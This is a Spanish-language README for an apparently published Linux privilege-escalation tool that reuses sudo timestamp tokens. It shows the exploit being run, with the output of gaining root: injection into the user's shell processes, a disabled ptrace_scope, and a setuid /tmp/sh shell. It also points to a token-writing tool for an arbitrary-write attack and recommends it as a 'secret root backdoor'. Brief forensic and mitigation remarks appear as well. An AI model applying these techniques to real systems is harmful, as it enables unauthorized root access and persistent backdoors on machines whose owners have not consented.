
[Linux] Dos técnicas de escalada de privilegios que abusan del token de sudo
Todos hemos notado que a veces sudo no nos pide contraseña porque nos recuerda. ¿Cómo nos recuerda y cómo nos identifica? ¿Podemos falsificar nuestra identidad y convertirnos en root? Hasta donde sé, esta investigación aún no está documentada, pero avísame si lo está. De hecho, sudo crea un archivo para cada usuario de Linux en /var/run/sudo/ts/[username]. Estos archivos contienen autenticaciones exitosas y fallidas; luego sudo usa estos archivos para recordar todos los procesos autenticados. -- @chaignc
Este repositorio te proporciona:
PD: ¡lee los requisitos!!
$ sudo loquesea
[sudo] password for user: # Presiona <ctrl>+c ya que no tienes la contraseña. # Esto crea tokens de sudo inválidos.
$ sh exploit.sh
.... espera 1 segundo
$ sudo -i # no se requiere contraseña :)
# id
uid=0(root) gid=0(root) groups=0(root)
El tiempo de espera de contraseña predeterminado es de 15 minutos. Entonces, si usas sudo dos veces en 15 minutos (900 segundos), no se te pedirá que escribas la contraseña del usuario nuevamente.
exploit.sh inyecta todos los procesos de shell propiedad del usuario actual y usa su token de sudo para validar nuestro propio token de sudo. Es apenas 3 líneas de shell, échales un vistazo.
Esto está lejos de ser una escalada de privilegios genérica sin requisitos, pero funciona; por ejemplo, si tienes un RCE y no tienes la contraseña del usuario, pero la víctima usa sudo, entonces puedes obtener root fácilmente robando su token.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # No te preocupes, esto no es persistente tras reiniciar
Abre dos terminales:
Para aquellos con menos suerte con el exploit v1, prueben la v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
La impresión está por mejorar, pero cada intento de sudo de un proceso tiene una entrada en /var/run/sudo/ts/[username]. Además, estos archivos se almacenan en tmpfs (RAM); se podría escribir un plugin de volatility para parsear esta información y recopilar intentos de sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Si tienes una escritura arbitraria, puedes crear un token de sudo para tu proceso actual y obtener ejecución de código como root. Revisa './write_sudo_token $$ > /var/run/sudo/ts/[username]' en extra_tools.
Una muy buena forma de crear una puerta trasera root secreta en servidores que rara vez se reinician. Aún no está hecho, pero revisa './write_sudo_token $$' en ./extra_tools
Estaba buscando una forma de robar el token de sudo de procesos muertos, pero no parece posible porque están asociados por ((tiempo de inicio del proceso y id de sesión del proceso) o (tiempo de inicio de la tty y id de sesión de la tty)). El id de sesión (pid del proceso) se puede suplantar, pero el tiempo de inicio del proceso no es falsificable.
kernel.yama.ptrace_scope = 1
Linux based inter process code injection without ptrace
Moving a process to another terminal
https://www.linusakesson.net/programming/tty/
Por @chaignc #HexpressoTeam.